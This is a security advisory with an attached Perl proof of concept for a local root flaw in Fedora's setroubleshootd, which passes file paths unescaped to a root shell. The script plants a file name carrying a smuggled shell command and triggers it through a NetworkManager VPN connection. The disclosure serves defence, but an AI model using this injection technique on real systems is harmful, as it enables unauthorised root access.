Fedora 12 setroubleshootd Local Root Proof Of Concept

`setroubleshoot tries to find out which rpm a particular  
file belongs to when it finds SELinux access violation reports.  
The idea is probably to have convenient reports for the admin  
which type enforcement rules have to be relaxed. setroubleshoot  
runs as root (although in its own domain). In util.py  
we have:  
  
  
266 def get_rpm_nvr_by_file_path_temporary(name):  
267 if name is None or not os.path.exists(name):  
268 return None  
269  
270 nvr = None  
271 try:  
272 import commands  
273 rc, output = commands.getstatusoutput("rpm -qf '%s'" % name)  
274 if rc == 0:  
275 nvr = output  
276 except:  
277 syslog.syslog(syslog.LOG_ERR, "failed to retrieve rpm info for %s" % name)  
278 return nvr  
  
(and other similar occurences)  
  
So. Yes, thats correct: The SELinux system that is only there to protect you,  
passes attacker controlled data to sh -c (https://docs.python.org/2/library/commands.html)  
inside a daemon running as root. Sacken lassen...  
  
I attached a PoC which uses networkmanager's openvpn plugin to execute  
arbitraty commands by triggering an access violation to a pathname  
which contains shell commands.  
  
The setroubleshootd_t domain has quite a lot of allowed rules and transitions,  
so this can clearly count as privilege escalation. Furthermore a lot  
of admins run their system in permissive mode (full root) even when  
its shipped enforcing by default.  
  
Also note that there are potentially remote vectors, if attackers  
can control part of the filenames being created (web uploads, git, scp, ftp etc).  
  
Sebastian  
  
  
PS: I am all for SELinux but theres something on the wrong way. I counted  
the LOC, and the core SELinux (kernel) has a smaller codebase than whats  
framed around in python, running as root and mangling attacker controlled input.  
IOW, the system that wants to protect you has fewer code enforcing the rules  
than code that potentially blows up your system. And that code is python,  
so let alone all the python modules and interpreter hat can have bugs on its own.  
Driving such a lane _can only lead to abyss_. And I am not saying that evil  
powers are creating an overly complex system to better hide their bugdoors  
within.  
  
PPS: bug-logo will follow :)  
  
--   
  
~ perl self.pl  
~ $_='print"\$_=\47$_\47;eval"';eval  
~ krahmer () suse de - SuSE Security Team  
  
  
#!/usr/bin/perl  
  
#  
# Fedora21 setroubleshootd local root PoC  
#  
# (C) 2015 Sebastian Krahmer  
#  
# - requires polkit authorization to add/mod VPN connections  
# to NetworkManager (default on desktop user)  
# - after execution of this script, which adds appropriate  
# NM connection entries, try  
#  
# $ nmcli c up vpn-FOOBAR  
#  
# a couple of times, until you see:  
#  
# logger[4062]: uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:setroubleshootd_t:...  
#  
# in the journalctl logs  
#  
# PS: I know in advance what the SELinux developers will say... :p  
#  
# I say: lulz!  
  
  
  
# create a pathname that setroubleshootd will eventually  
# query sh -c { rpm -qf ... with, fucking up ' escaping. So the  
# embedded pathname is then evaluated as command  
#  
# There goes your NSA-grade SELinux security!!!  
  
$file = "/tmp/foo.pem';`id|logger`;echo '";  
open(O, ">", $file) or die $!;  
close O;  
  
# add connection  
system("nmcli c add type vpn ifname FOOBAR vpn-type openvpn");  
open(O,"|nmcli c edit vpn-FOOBAR") or die $!;  
  
print O "set vpn.data ca = /tmp/foo.pem';`id|logger`;echo ', password-flags = 1, connection-type = password, remote =  
1.2.3.4, username = FOOBAR\n";  
print O "set vpn.secrets password=1\nsave\nquit\n";  
close(O);  
  
  
print "Now do 'nmcli c up vpn-FOOBAR' and watch logs.\n";  
  
`